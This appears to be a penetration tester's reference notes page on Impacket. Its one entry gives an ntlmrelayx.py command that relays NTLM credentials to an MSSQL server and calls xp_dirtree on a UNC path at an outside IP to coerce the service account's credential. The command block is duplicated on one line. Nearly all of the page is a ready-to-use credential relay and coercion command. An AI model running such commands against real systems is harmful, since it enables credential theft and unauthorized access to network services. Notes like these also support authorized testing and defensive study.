> For the complete documentation index, see [llms.txt](https://notes.edepree.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.edepree.com/master.md).

# Impacket

Assorted Impacket Commands

## ntlmrelayx.py

Leveraging ntlmrelayx to relay credential to MSSQL Server and attempt to elicit the credential of the underlying service account through abusing xp\_dirtree.

```
ntlmrelayx.py -t mssql://mssql.example.com -c 'EXEC xp_dirtree "\\192.168.1.100\credentials"'ntlmrelayx.py -t mssql://mssql.example.com -c 'EXEC xp_dirtree "\\192.168.1.100\credentials"'
```